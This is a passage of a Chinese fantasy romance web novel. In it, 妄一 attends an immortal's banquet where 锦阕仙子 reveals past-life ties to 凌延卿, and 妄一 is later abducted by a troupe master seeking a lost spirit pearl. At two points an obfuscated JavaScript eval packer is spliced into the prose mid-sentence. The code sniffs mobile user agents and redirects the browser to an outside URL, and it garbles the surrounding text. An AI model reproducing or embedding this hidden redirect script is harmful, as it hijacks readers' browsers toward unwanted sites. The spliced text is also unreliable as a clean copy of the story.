“幸好我来了,不是吗?”凌延卿微微低头,轻声回道,“你功法大减,我怕你在路上遇到意外,就来看看,监狱那边我另有安排。” 听他语气笃定可靠,妄一点点头道:“嗯,你来得正是时候。”否则她还不知怎么打发那人。 承英杵在一边,默默打量。他知道凌延卿,外看气质翩翩,不愧是和妄一同一道门里的人,礼数教化不相上下。 他咳嗽一声,直接摆出官腔:“我非有意为难,但本门的职责就是盘查京中人口,姑娘既在此地出入,又未在我簿子上登记,多少让我有些难办。” 妄一冷笑,鬼京多少人口不清的事,承英都没管得过来,现在追着管她。果然无论她变成什么样,他都要和她作对。 “这是仙君府上难得一来的贵客,御朝大人有怀疑,尽可去询问仙君。”凌延卿淡定作答。 承英听出弦外之音,仙君的贵客,好大的来头,好强的敌意。 “可我怎听说姑娘似乎住在苍鸯殿。” “那是因为与我家大人也有交情,这个说法合理否?” 凌延卿表现落落大方,妄一顺势露出腰间令牌。 承英讽刺一笑。心想莲烨门没一个能正常交流的。他问个身份真是困难重重,就算这姑娘与莲烨门关系非凡,他堂堂御朝掌门会恨屋及乌?那只野狐多少次没规矩,他都没有加以为难。 “大人,我们再不走,仙君怕是真要动身来寻了。”凌延卿催促道。 承英自是不怵,可那两人根本没有要和他纠缠的意思,珠钗到手,扭头就走。气得承英空烧一肚子火,想追上去,又觉得失了自家身份。 妄一暗暗怪自己今日出门遇上卖茱萸的,竟没要个两株避晦气。 凌延卿申请自若,领着她,道:“走吧,仙君的府邸大概在那个方向。” “你怎么知道?”妄一以为他是随便挑了一条路。 “放心,没去过未必就是不知道。”他理所当然地答道,“仙君来莲烨门多次,还问我何时去他府上指点一下厨子。” 妄一突然明了,顺从地跟着他。 两人同行一刻钟,凌延卿果然带她找对了路。 远处的山峰雾霭绕府邸,入目皆是一片灰蒙。当年元乾神君没想在神欲之地久住,仙君府只有一般规模。许是尘芳提前吩咐,看门的仙童积极领他们入内。 宅内装潢称不上雕栏玉砌,但也是别出心裁的雅致。庭前两株藤箩,花开茂盛,此地一草一木,有仙气的滋养,展现出极美的姿态。 尘芳早早摆了玉石桌,妄一如约而至,他松了口气,笑着上前招呼。 妄一身着一身鹅黄衣裙,颜色素雅带菱角暗纹,料子顺滑飘逸。原衣领上缝有两株立体的绢布桃花,因太过娇艳,凌延卿连夜帮忙拆了,她才肯穿出来上街。 如此模样,尘芳看了好几眼。他习惯妄一常穿鲜艳红衣,换一种色彩竟也不赖,他毫不吝啬地欣赏道:“早知妹子着衫裙如此俏丽,我出门必多带着你。”他多了个妹妹,喜难自禁。 知他是什么性子,妄一早已疲于争论,粗略扫了一眼玉石桌上的名菜点心......以及三副碗筷? 她并未告诉尘芳,此行还带凌延卿来。 “你还请了别人?”她心直口快地问。 “哦,是的,被你发现了。”尘芳搓了搓手,讪讪道。 “到底是什么忙?”妄一眼神探究,“仙君找我恐怕并非为安置流放者而苦恼吧?” 闻言,尘芳表情马上不自在了,他快速安排道:“都说是小忙了,肯定难不倒你!只待那人一来,你就表现出大方得体的样子,席间再附和我几句,老哥对你感激不尽!” 这是什么别扭的要求?妄一深深皱起眉,何人值得仙君花这心思? 尘芳一声叹息,幽幽道:“唉,自然是我无从应对之人啊。” 他鲜少他愁眉苦脸,妄一不免也紧张起来,欲摸清那人底细,鼻尖忽嗅到一阵风带来的清幽紫藤香。 这股香气比起娇花和青草,更让人心旷神怡。 尘芳朝他们二人挤了挤眼,道:“嘘,别讲话,她来了。” 三人慢慢转过头,齐齐往门口看去,紫藤垂落的圆形雕花石拱门下,一华衣女子从鹅卵石铺成的长阶上缓缓而至。因背着光,起先他们看不清真人,只觉得她每一动,头上的步摇绚丽夺目,腰间的玉扣珠链交相辉映。 虽然晃眼,但妄一还是辨清了那人的真颜 尘芳仙君开口介绍,这便是锦婼元君的妹妹“锦阕仙子”。 又或者在妄一眼里,这是戊斯国的将军小姐“余莞意”。 司命老爷说过,仙人历劫结束,重返仙班时,可以自主选择是否饮下忘忧水。妄一以为和仙子人间事毕,山长水远再无交集,今日托尘芳的福,倒是证明她们缘分未尽。 尘芳起身相迎,道:“仙子来我府中已有时日,我身有要事,不曾好好接待。今日我做东,特地为仙子接风洗尘。” 仙子含笑道:“是我叨扰仙君了,府中对我礼遇有加,若再说‘怠慢’就是折煞锦阕。”她善解人意,字里行间透着亲切随和。 如此美人,在场几乎只有凌延卿漠不关心,他只顾抬头看树上的紫藤花,不知有何乐趣。 妄一则暗暗思索,仙子究竟何故来此?正想着,仙子竟主动问起她来。 “哦!忘了说,这位是我在鬼京认的阿甜妹妹!昨儿我与她闲聊,提及府里来了天上的仙子,她好奇不已,非要过来瞧瞧!”尘芳不顾妄一表情诧异,微笑道,“怎么样?兄长没骗你吧?” 他使眼色求妄一,妄一皮笑肉不笑:“嗯,没有骗我。仙子真如世人所说惊艳绝尘。” 听闻此言,仙子脸上略有羞意:“我初来乍到,本担心鬼京多有奇诡之事,恐不习惯,不曾想这儿也有妹妹一般清丽近人的,是我狭隘了。” 庭内花香阵阵,四人围玉石圆桌而坐。妄一和凌延卿沉默寡言,仙君则能说会道,他与仙子交谈时,总不忘招呼妄一吃吃这个,尝尝那个,生怕冷落她。 然而妄一只想安静自处,但看在仙君的薄面上,每每都配合应声,保持了基本的斯文有礼。 反观凌延卿,他自在多了,不肯多说话,也不肯多看人。桌上有什么,他就吃什么,比起另一边的三个人,他倒像给自己竖了屏障一样,隔绝在外。 话到半场,仙子让人把她的仙露琼浆拿来。此物取自瑶台,酿之仙果,是不可多得的珍贵佳酿。 “我不懂品酒,只是是好物,故而珍藏许久,今日借仙君的光,算是派上用场了。”锦阕提起羊脂白 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当然妄一不否认自己的优点,毕竟打人的时候,莲烨大人确实心灵手巧。至于勤俭持家,她只是单纯拮据度日,不浪费罢了。 “你把我请来,在仙子面前多加显摆,其中缘由,可别告诉我是想让她嫉妒吧.......” 这只是妄一揣测,不料尘芳听得擦了把汗,并无否定。 “这话怎讲?”妄一震惊仙君这一招用的实在莫名其妙。 人有人的难处,仙也有仙的烦恼,尘芳叹道:“我也是逼不得已。” 仙君在京本职就是管理天宫流放之人,待那些人刑满之期,或被安排重列仙班,或被安排赶去六道轮回。他独自管理,加上流程熟悉,本是手到擒来的一桩事。但这次锦阕仙子挺身而出,主动请缨同去。 可仙子在天宫也非闲职无所事事,仙君与她更是井水不犯河水,几乎毫无交集,为什么她突然热络帮忙? 尘芳原本不以为意,但与他交好的仙友提了一句,说近水楼台先得月,说不定是仙子看上他了呢。 本是一句玩笑话,却登时吓得仙君背后直冒冷汗,万不愿沾惹天上的花! “我懂了,你怕她馋你身子,故而拿我来断她心思?” 尘芳窘迫地点点头,他的确想暗示锦阕,他身边最不缺红粉佳人。 妄一戏谑道:“真有趣,你昨还在莲烨门,担心我的终身大事,轮到你自己了,反倒犹犹豫豫。我瞧那仙子,面容姣好,举止端庄......” “喂喂喂!老弟,不,老妹啊!”尘芳打断她的说辞,“你不了解锦婼元君,她妹妹的温柔乡,我是无福消受得起!” 众所周知,锦婼元君在二十四重天的檀衍神殿掌管丹药炼制,天资聪颖加之孜孜不倦,不少仙家都对她赞不绝口。许是因为身兼炼丹要职,容不得一丝差错,久而久之,养成了古板的性子。 “元君自修清心道,且十分看重这个妹妹。我若敢染指,届时她火冒三丈少不了要追着我劈。” 而且更为重要的是,锦阕仙子并非他中意的类型。 仙君自诩风流倜傥,但数年来都是“万花丛中过,片叶不沾身”。 能不能惹?惹不惹得起?他分得很清。 他说他对男欢女爱是很有追求的,以妄一的阅历尚且不能领悟其中真谛。 “哦?那你喜欢什么样的?”妄一顺嘴问道。 “我想想啊。”尘芳手指摩挲着下巴,“大概是头脑理性,富有耐心,乐观风趣,但最好还有点点......” “什么?”妄一微微侧过去,想听仔细。 “点点温柔和一丝丝野......咳咳!”尘芳暼她一眼,回过神,“你问这么仔细做什么?” 妄一爽朗一笑:“我可没有,各人有各人的追求,你说出来我岂能揶揄你?但我要讲一句,仙君大人能否别自作多情,我觉得仙子的醉翁之意并不在你。” “这什么话?”尘芳不服气,“她难道看不上我?” “那不是。”妄一将壶里仅剩的仙酿给自己满上,轻轻在杯中摇晃,“你方才当着她的面将我从头到脚,里里外外,长长短短,四个字的,五个字的都褒奖一遍,可她眼神平静,甚至还有笑意,我便知人家对你没有爱慕之情。相反我更相信她想借你的名头,只为别的事。” 神欲鬼京与天庭有明显界限划分,天上仙人未经准许,是不能私自下界的。仙子说要辅佐尘芳,大概也只把他当成鬼京的敲门砖罢了。 尘芳不悦道:“那你说她真正的目的是什么?” “不知道。”妄一放下杯盏,“不过我那柔弱不能自理的手下,好像去了很久还没回来。” 50. 竹影摇曳乱风月 妄一并未特地留意,只是蓦然回神间,忽觉即便叫那仙童带凌延卿现成去买一身,此时也该好了。 他去何处整理着装,竟还能乐不思蜀? 妄一喝光杯中仙酿,站起身。人是她带来的,自然也得她带回去。 仙府小道竹林风晚,树影婆娑,她没让仙君陪同,独自行至小院,一切正如她所想的那样,仙子与其共站一处。 妄一未出声打搅,也不想参与其中,机警地趴上一座矮墙,窃听交谈。 二人约莫站了许久,仙子眉梢轻蹙,眼眶中一抹晶莹打转。凌延卿则身着新换上的织金圆领衣袍,负手而立。 他样貌俊朗,却一改往日的亲和做派,冷声道:“仙子认错人了。” 仙子神情哀伤,提起几句生前过往,想让他有所感触。凌延卿淡淡道:“仙子慎言,凌某自醒来便是魂魄之躯,前程往事一概不知。”他显然不想多言,保留二人最后一份体面便要抽身,只是临了顿了下脚步,似要提醒她什么。 “其实仙子饮下忘忧水,未免不是一件好事。” 锦阕不语,只抿紧唇。她不知晓今天他会来,仙君也未提及还请了旁人。无意中的重逢,最易让人感动。可没想到会是如此。 仙子娇若桃花,我见犹怜,奈何凌延卿不解风情,任她如何难过,他亦没再回头。 妄一来得迟,只听到这些,她伏在瓦上啧啧称奇,想不到凌部下一无所有,对仙子示好竟能坚守自我。 原来大家对不喜欢的人,都能做到冷酷无情。凌延卿对锦阕仙子如此,妄一对笙媱帝姬也是如此。 好戏散场,看戏之人还在回味。偏不巧,仙子低头轻拭泪光,抬眼与妄一对上。 她们一人在上,一人在下,四目相瞪间,锦阕的表情从最初的惊愕慢慢转为愠怒,诘问道:“你躲在瓦上做什么?!” 妄一懊恼自己一时大意,被逮个正着。她踌躇一瞬,索性大大方方跳下来。 论如何保全仙子的脸面?妄一摸摸鼻子,悠然解释:“仙子莫气,我贪杯多饮了几口佳酿,昏了头,故去上面透透气。”此等痴言痴语只够糊弄灵兽,她适时打了个酒嗝,寻着台阶便要走,“仙子,风吹得差不多了,我酒也醒得差不多了,我们有缘再会了。” 她急着要溜,锦阕断然不肯放手。她想问这位瓦上君子听到了什么,可盯了一会儿,瞳孔一紧,似是见到一桩惊奇事宜。 这种感觉既荒唐又奇怪,她再三确认道:“何姑娘,我见你的时候就想问了,你我其实并非第一次见面......对不对?” 庭下远观瞧不出端倪,现近距离相见,仙子心中的猜疑终是按捺不住。 妄一后背沁汗:“仙子说的话,我有些听不懂,莫非仙子也还似我一般醉着?” “我没有醉,你也不必装痴。”她淡定回道,“我历劫归来,知晓当初蒙遭混乱,幸有人施手剔除,但司命老爷没告诉我那人是谁。”她眼神如炬,几乎毋庸置疑,“错不了,你就是那个将我仙魂挤走,又替我守舍的人!” 妄一张了张口,最终只得化为干笑道:“仙子每日见的人多,我一小小女子如何有那本事?” “哼,你不用想着糊弄我,我不会错,我也没想寻你的错。”仙子睨了一眼,似乎感到有些好笑,“说来,我因机缘巧合遇见何姑娘,应该好好感谢你的,可是时间不凑巧。” 妄一收紧袖子里的手,她揣摩不出仙子的心思,但瞅对方神态和语气,便知没那么简单。 果然,仙子轻抚身前的一缕垂发,漫不经心道:“我和姑娘颇有渊源,今日一见如故,你先为我摆平历劫的事,现又听到了我的秘密。” “仙子,那时我是受人所托,能与你在仙府相遇也是歪打正着,绝无胁恩求报之意。”妄一彬彬有礼,心下却想:这算什么秘密?撒酒的计谋那般拙劣,稍微动点脑子就想到了。 在人间余莞意是为公子,在鬼京仙子也是为了他么?这凌延卿刚来此地的头几天,是有名的麻烦精,近日他既下厨,又在监狱忙碌,妄一才觉得他尚有几分用处。 锦阕回过头,正面看着人,问道:“我很好奇,姑娘这么年轻,看上去又有本事,为何甘心局限于这座小小的城池?” “鬼京小吗?”妄一坦然而答,“我不觉得,一切人各有志罢了。” 天大地下,能找个合适的容身之所可不是嘴皮子一张一碰那么容易。 妄一拱了下手,沉着道:“若为刚才偷听的事,我愿向仙子表达歉意,且发誓不会对外泄露半句。若还有别的,我生性愚钝,仙子直言便可。” 这般直白的话,锦阕微微一愣,她随即恢复正色,道:“何姑娘性子敞亮,我不必明说,你也该清楚我和公子延卿的事。” 她似乎很在意妄一的看法,一边说,一边注意对方的神色。 “我与姑娘你有缘,与公子更是缘分匪浅,虽然他给我的感觉总是忽近忽远。”仙子轻叹道,“姑娘身上必有本事,又与公子同行而能聊上两句,我有个不情之请,还望姑娘成全。” 妄一一动不动稳如泰山,仙子亦未气馁,真心夸赞她一番后,询问其能否牵线搭桥时,妄一神情总算有了变化。 “姑娘意下如何?”仙子微笑着,她不能时常与凌延卿碰面,但别人可以,即便刚才自己已被公子拒绝,但不代表没有挽回的余地。 妄一背着手,大抵在思量,风中有竹叶作响,吹动额前碎发。 “姑娘放心,无论事成与否,我都会记得这份情谊。倘若你心中有所求,亦可告于我,凡我力所能及之处,必不留余力相助。” 锦阕神情闲适,旁人能得她一句承诺,十有八九都会感激涕零,发誓愿鞍前马后为其效劳,却不料之后竟听到一声细微的轻笑。 妄一道:“我想仙子误会了,我没有舌灿莲花的本领,就像此刻我笨嘴拙舌婉拒仙子的抬爱。”她波澜不惊,语气神态有条不紊,“仙子乃天上女,垂怜下界,自然是对万物有情。只怪凌相公木石心,认准某些死道理。对了,他隶属苍鸯殿莲烨门,那莲烨掌门是何人物,仙子回头问问尘芳仙君就能知晓,我反正是万不敢越矩。” 因有仙君前言在先,锦婼元君若知有人多事,不必去劈死仙君,怕是要改道来劈妄一。明白其中搭桥的风险,她哪敢多生心思? 仙子却冷静提醒:“何姑娘,可是你欠了我一条命。” “什么命?”妄一挑眉,疑惑而视。 风恰在此时停了,锦阕微微拢了拢鬓边发丝。 “历劫短短十几载,虽助我塑心性,尝遍人间滋味,可是再回来,我身边许多事都变了。姑娘记得小喜吗?她曾是为我守殿的小娥,说起她,姑娘应该知道的。” 妄一面露不解,仿佛是第一次听到这个名字。 仙子解释道:“小喜本是我姐姐身边的小娥,檀衍神殿里诸多仙药,晒干磨粉后,皆由她收拾保存。一次粗心记错数,害整个殿翻遍出入库,我姐姐自是生气,而我念她平日里较为老实,便为她求了情。 “姐姐向来疼我,因此饶她一回,但不敢再将这差事吩咐她,只准她照料我的起居。 “小喜对我感恩戴德,在听到我将下凡历劫,便说要随我一同跳轮回。只是没想到,我安然无恙归来,她一去却是再回不来了。” 仙子意有所指,妄一稍加思索便知“欠她一命”的深意。小喜回不来的原因,她们都心知肚明。 “所以仙子此刻,是想让我偿命?”妄一语气冷静。 仙子皱眉道:“不是......” “呵呵,可我宁愿仙子是为让我偿命,也不想把她的死当作要挟的人情。”妄一一句话像戳在锦阙眉心。她不顾对方心情,自顾自说道:“仙子入世,投胎凡人时,和她以‘友’相称。现在我想问一个问题,但愿仙子不要介意。” “你想问什么?”不知何故,锦阙竟生出几分慌乱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148356|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妄一保持该有的礼数,说道:“我想知道对天上的仙子而言,人间的周良喜究竟算什么?是难得的莫逆之交,还是空花阳焰的假情谊?” 锦阕心头一紧,回应妄一的,是她满眼的震惊。 妄一莞尔一笑道:“仙子不想说也没有关系,是我临时起意。但有一事,我再三深思决定告诉仙子。” 这是她后来得知的事,是那日司命老爷来京,她主动询问起。 “周良喜丧命是在烟花游会,街上混入劫匪,按天书所示,她会因为助人,死于歹人手里,可我的出现,致使她死因有变。”妄一幽幽叹一口气,想起那个弱小女子挺身而出的模样,心情不由沉重。 “她是帮了我,我不会忘了她,但她当时最想帮的,其实是李阿圆。” 妄一说话很轻,好像风大一些就听不见了。仙子立在原地,久久沉默。 “我要说的都说完了,我想仙子,也不是铁石心肠之人。”妄一如凌延卿那样,目视前方离去。 锦阕嘴唇动动,终究没有叫人站住的理由。等妄一重新回到月桂庭前,凌延卿已在那里等她。 他穿回原来那身布衣,一切如他来时模样。 妄一瞅了两眼,问他怎么脱下了,仙君借的那套衣裳挺衬得他容光焕发。 凌延卿反问道:“阿田怎知我穿了新衣,光鲜亮丽?”从他去换衣服,到现在回来,他可不记得在路上碰到过她。 妄一被话噎了一口,总不能告诉他,他和仙子在竹林里的桥段全被她看见了。 还好凌延卿并未深究,她既回来了,便与她一起和仙君辞行。 尘芳说天色尚早,他们一走,偌大的仙府有点寂寥。 “我看是寂寥不了。”妄一调侃道,“他们给仙君派下如花似的仙子,光是站远了瞧,都叫人心旷神怡,可惜有人身在福中不知福。” 尘芳抬手弹了她一下,不客气道:“莲烨掌门何时能对帝姬回心转意,我这铁树必然也就地开花。” 妄一顿时瞪眼瞧他。 仙府在绿茵遍地的郊外,离开府邸,妄一与凌延卿需得走上一段路才能返回苍鸯殿。 路上,她时不时瞟凌延卿,想说什么,又似乎难以张口。被他一个转头逮住了,他当即弯起眉宇,问她什么事? 妄一索性坦白道:“看你这几天在狱中忙碌,脸廓好像瘦了些,便想问问你在莲烨门的感受如何?”为避免他碍于掌门权威不敢真言,她保证此番谈话绝不记仇。 “挺好的,上司仁慈,同僚友善,于我鬼京生涯中,算是个有趣的经历。”凌延卿温声回答。 可这话并未打动妄一,反而引来她怪异的目光,连说数句“你这人真怪”,怪到会满意现在的生活。 凌延卿生前非为平民,服从性倒是出奇的高。无论掌门要他做什么,他仿佛都能无条件说“好”,这听上去像个优点,妄一也喜欢忠心耿耿的属下,但过分听话的,反倒让人觉得心惊。 “咳咳,你知道那位给你倒酒的仙子是谁吗?”妄一随口而问。 “知道。”凌延卿诚实道,“重新提起又如何,我和她殊途终究不同归。” 好一个“殊途不同归”,妄一嗤笑一声,说:“你当真半点不心动?她在人间是你的妻,在齐允王室宗谱落了名。你接下她的橄榄枝,可比跟着我一点一点化解咒痕要舒坦。” 凌延卿自嘲道:“真有这般容易,阿田为何一早不求助仙君?且我与仙子无情无爱,利用感情才是小人行径。” 书虽然看得多,但他从不痴迷幻想,甚至对现实格外清醒。 妄一拧眉,心下却无比赞成凌延卿。 若非昔日在酒楼不小心被撞见,她也不愿把咒痕的事坦露仙君。同时也亏尘芳心胸宽阔且不死板,否则妄一暴露那份肮脏的印迹,只怕自己没得更快。 她思考过数此,如果不是仙君,她想自己这辈子概都不会和天上有任何牵扯。 51. 幻境遭劫为灵珠 二人回到鬼京善恶大道已是午后,街上不少商贩忙着准备夜间的营生,陆续搬出桌椅摆放整齐,连河边的彩灯也认真擦洗。 凌延卿不自觉多看两眼,这般鲜活的烟火气,总能让他心情舒缓。 难得有机会并行游街,妄一有意放慢脚步,让他多瞧一些外面的景致,还顺口提及苍鸯殿的一座空中园林,从那儿能看到京中大片风华之景。可惜她今天没机会带他去,因为她现在要回去补个好觉。 凌延卿没应声,妄一以为人家没听到,故又重复一遍。可第二遍仍无回音,这就不免感到奇怪,莫非是他不乐意这个安排? 转头一看,她恍然发现街上空旷,路人消失,凌延卿亦不见踪影。 妄一四处张望,熟悉的街头正慢慢化作泡影,唯有一阵琵琶音笼罩在她耳畔,且分不清是从哪个方向传来。 何人敢对她故弄玄虚? 妄一冷静喊道:“既有仇家来找我,怎么遮遮掩掩藏着不敢见人?”她不受那曲调迷惑,只默默攥紧随身的伏影锁。 对家不知什么心态,弹的也不知是什么曲目,原本悠扬凄凉的琵琶音逐渐走向疯狂,像四只手一起演奏共鸣,没有一丝停顿。 妄一捂住耳朵,魔音撕扯下,她太阳穴痛得厉害。若是以往,她还能招架,如今功力溃散,只能咬牙硬抗。 终于听到一记琴弦崩断之声,高昂的曲子戛然而止。如此狠人,妄一甚至想到会不会是承英作祟,没骂两句,后颈却突然吃了一棍子。 妄一毫无防备,瞬间晕厥,紧接着被手忙脚乱套进一个漆黑的麻袋。 下手之人的力道实在不敢恭维,要么棍子再粗一点,要么手劲再大一点,还没把人抬到目的地,妄一就在又黑又闷的麻袋里悠悠转醒。 那些人掳了她不够,还在麻袋外绕了一圈绳,缠得她透不过气。 妄一没惊声大喊,忍了一会儿,扛她的那两个废物,如负心人似的把她往地上扔。她保持落地的姿势不动弹,立刻有人上前,伸脚踢她两下,像在试探她的死活。 “嘿嘿,班主尽管放心,我们下手都有数,人没死,这会儿还晕着呢。” 被称呼“班主”的人,装模作样应了声,示意他们解绑。 妄一虽闭着眼,但重见光亮的那瞬间,强烈的日光照得她还是细微地抖了下眉。 动作虽小,却被对方精准捕捉,不由冷笑:“你醒了?醒了好啊,你真是让我好找!” 装睡的伎俩被识破,妄一索性不装了,莲烨大人在外树敌众多,不缺这一个,但她还是无比困惑,面前之人究竟是谁? 他乌发束带,圆头大脸,面如黑土,好个骇人模样。 “你仔细看看,你还记不记得我?!” 妄一瞧了又瞧,觉得此人既熟悉又陌生,联想到那怪异的琵琶声,她意识到什么,猛然瞪大眼睛。 班主似乎很满意她这副表情:“你这个贼骨头,为找你,我差点掘地三尺,你是会找地方躲藏的,要不是我有点耐心,还真抓不住你!”他上前用两根手指捏起她的下颚,“说,你偷跑进我杏花楼,砸了我的台,搅了我的好事,这笔账你要怎么还?!” 妄一怔愣着,脸上的心虚一闪而过。 她知自己在劫难逃,眼下情势不利,屋里屋外全是他的人,她没把握能冲出去。只是心中疑惑,她私闯杏花楼时,是以男子模样现身,如今换成女相,又如何被他认出? 没等想明其中缘由,左右两人就将她拎起来。耿胜金摊开掌心,厉声喝道:“把东西交出来!” 妄一低头看了眼他指肚长满茧子的手,迷惘地问:“什么东西?” “少装你娘的蒜!”耿胜金气急败坏,“你不就为了它才溜进来的吗?我落得这副模样,全都拜你所赐,可你千算万算没算到,就是因为侍灵珠在你身上,我才那么快找到你!” 妄一听了半天,捋了半天。那晚她空手去空手回,并没见过什么珠子。 “你别给我摆出蠢样子,我不信你这么快就把自己的所作所为忘个精光,我敢绑你,也定是调查清楚了!”他脸色铁青,一口咬定。 妄一反问:“你说的珠子,我连听都没听过,怎么会带走?那晚那么多人进出,你怎么证明就是我干的?” 耿胜金道:“贼骨头不见棺材不落泪,我不晓得你姓甚名谁,但那夜之后,我就用罗盘寻侍灵珠的方位,它告诉我在苍鸯殿,我叫人日夜蹲守,经过几次试验,你一出来,罗盘的指针就跟着移动,你还说珠子不在你身上?” 言罢,他把罗盘拿出来,像证据一样给她看。 “有它在,管你的易容术多厉害都无处遁形。” “.......这小罗盘如何能证我清白?我身上带了什么我会不清楚吗?你不信,尽管搜身就是。” 妄一表现坦荡,但这光明磊落的样子落在耿胜金眼里是死鸭子嘴硬。 “搜就搜,你当我怕你不成?”他张口唤来一个女人,“你把她全身上下都搜一遍,不许遗漏一根头发丝。” 女人听话上前,慢慢在妄一身上摸索。妄一的忍耐性也高,被摸到胳肢窝和腰间都没有发笑。 期间耿胜金不断斥责她敬酒不吃吃罚酒,要是搜出来了,就不会让她好过。 然而女人仔仔细细摸了两遍,确认摸不出东西,只得停下手,对班主遗憾地摇摇头。 “这怎么可能?”耿胜金癫狂地冲到妄一面前大吼,“我的侍灵珠呢?你把我的侍灵珠弄哪儿去了?!”声音之大,几乎将人耳朵震聋。 “我都说没有了!你还不信!”妄一也大声回答他。 耿胜金再次埋头紧盯罗盘,他在屋子里左转几圈,右转几圈,眼睛都快把罗盘瞪出窟窿来。片刻,他又抬头看向妄一,眼神如刀子般凌冽。 “不会有假的,它告诉我,侍灵珠就在你身上!” 妄一不明白他怎么这么执着,杏花班名声在外,他们莫非不是靠真才实学,而是全靠那颗珠子才能如日中天? “你少恶意揣测,我们班主琴艺能得称赞,靠的都是真家伙,那宝物.....那宝物只是锦上添花!”旁边几人辩驳道。 但究竟怎样锦上添花,这似乎涉及到一些秘辛。妄一将那晚的细节再一通琢磨,好像明白了。 “你不会是想变女人,所以死抓着珠子不放?” 此言一出,满堂寂静,一根针落在地上都显得惊天动地。看似一句荒谬推论,但无人反驳。 耿胜金剜她一眼:“我不是想变女人,我本来就是女人!” 他原名不叫耿胜金,在前世,他叫“塞依”,是杏花班货真价实的台柱,本来能传承老班主的衣钵,可惜年纪轻轻便月坠花折。她在奈何桥边弹唱几日,再后来被小人逼入轮回。他的记忆没被完全洗化,他依旧喜欢乐器,也不知这是幸还灾。 前班主常夸塞依娘子的嗓音婉转悠扬沁人心扉,重返人间,虽说他身体与前世截然不同,但再无闲杂人等前来骚扰,能专心致志做喜欢的事。 糙汉的手指不比女子修长匀称,又短又粗的指节催促他加倍练习。原以为重振杏花班在即,可世人心存偏见,都被他的样子吓跑。 不得已,耿胜金找到一则秘术。 杏花楼的荷花池葬有塞依的尸骨,加上艰难寻到的侍灵珠。秘术启用后,他以池水滴血沐浴,能暂时恢复塞依的样貌,唯对糙汉的破锣嗓束手无策。 外头也因此起了谣传,说杏花班的班主,琵琶乐绝妙,只可惜是个哑巴。 耿胜金彼时心有不甘,倘若当初再忍那小人一时,也不至于冲动投胎,但这个世上,哪有后悔药卖? 后来杏花楼谢客修整,搬迁到鬼京,就是为钻研秘术,看如何能发挥侍灵珠的最大功效,以至于重塑声音。 “你疯了?你用秘术是饮鸩止渴,它把你害得半人半鬼,这些你可有知?” “我的事不用你这个外人管,我的毕生心血都浇筑在琴技上,作为班主,重振辉煌只是我其中一个目的,我最大的心愿是想让它永远昌盛下去,若能成,我情愿即刻化为灰烬!” 耿胜金投过一次胎,尝过一遍世间冷暖,他清楚自己心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157663|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放不下的是什么。 罗盘上的指针牢牢地对准妄一,他笃信表盘不会有假,忽然抓起妄一的手,一根纤长的银针往她指头戳。 殷红的血滴瞬间冒了出来,妄一叫道:“你干什么?!” 耿胜金不吱声,这次罗盘的指针摇摆不定,一会儿指向妄一,一会儿又指向那根沾血的银针。 见状,妄一再次嘲讽:“早就和你说了,这东西不靠谱,你看看它,它都辨不出方向了。” “哼,它不是辨不出方向!”耿胜金眼神阴郁,“它是在告诉我,侍灵珠跟你的血混在一起了!” 怪不得折腾许久,身上搜不出东西。 “你是谁?”耿胜金盯着她,“你能安然无恙离开莲花池,又能令侍灵珠主动合璧,你究竟是谁?” “我......”这话把妄一问住了,不是她有意隐瞒,而是除却莲烨大人的身份,她还真不知道自己是谁。 侍灵珠来历不凡,传说是神佑古国之物,当年神佑亡国,珠子莫名其妙地消失。有人说它与国运相联系,神佑国的陨落,多少是因为珠子的气运到头了。 这般珍贵之物,若非有缘,耿胜金怎能轻易得之?千辛万苦得到法宝,他更是当祖宗似的供在莲花池里。 有它的运转,他沐浴一次就会恢复一个部位,今天是嘴,明天或许是鼻子。他等了很长一段时间,才将所有部位复原齐全。许多年来,他就靠池水养着外貌。 “侍灵珠愿与你融合,你难道是神佑遗孤?”耿胜金打量她,眼神有些不可思议。 取不出珠子,他就不能放人走,并且还要好好养着,不然死了,他难保侍灵珠会怎样。于是他吩咐人,把他隔壁房间收拾出来,给她住下。 “我不同意!”妄一道,“我根本没想把它占为己有,你说珠子在我身上,那我也肯配合你取珠,但绝对不能要把人身自由交给你。” 从被掳来的那一刻起,她就一直在想尽快回去。失踪有段时间了,不知凌延卿怎样了,如果是去找救兵的话,希望他再快点吧。 “我看你是还没认清自己的处境,你现在没有和我叫板的资格。”耿胜金声音拨高,语气凶狠,“这一切都因你而起,要不是顾忌人死珠亡,得不偿失,你早在被我抓到时就千刀万剐了!” 妄一挺直腰背道:“耿班主不用恐吓我,你看我年轻,并不意味我胆子就小。实话告诉你,你困住我绝无好处,我这人有时候一根筋,倘若铁了心要玉石俱焚,还望你届时不要抱着我的尸体伤心。” 她眼神有种与年龄极为不符的坚毅,耿胜金道:“你的意思是想和我对着干了?” “没有,我是想到什么就说什么。你见我从苍鸯殿出来,就没想过我的身份?你把我困在这里,他们会展开搜索,到时挖出你那些私事,恐怕......”妄一适时地咳嗽一声,没讲太明白。她换了个商量的语气,继续道:“其实你那么相信这个罗盘,又何愁放了我,不能再找回来呢?” 耿胜金板着面孔,道她说的简单,那要是她长久待在苍鸯殿不出来,他难道还能进去抓吗?苍鸯殿的势力,可不是他一个杏花班能抗衡的。 妄一揉了揉被五花大绑过的手脚,没去管耿胜金的心思。此刻,她的脑海里,全是“神佑国”这三个字。他说她与这个古国有关,那他是不是知道些秘辛? 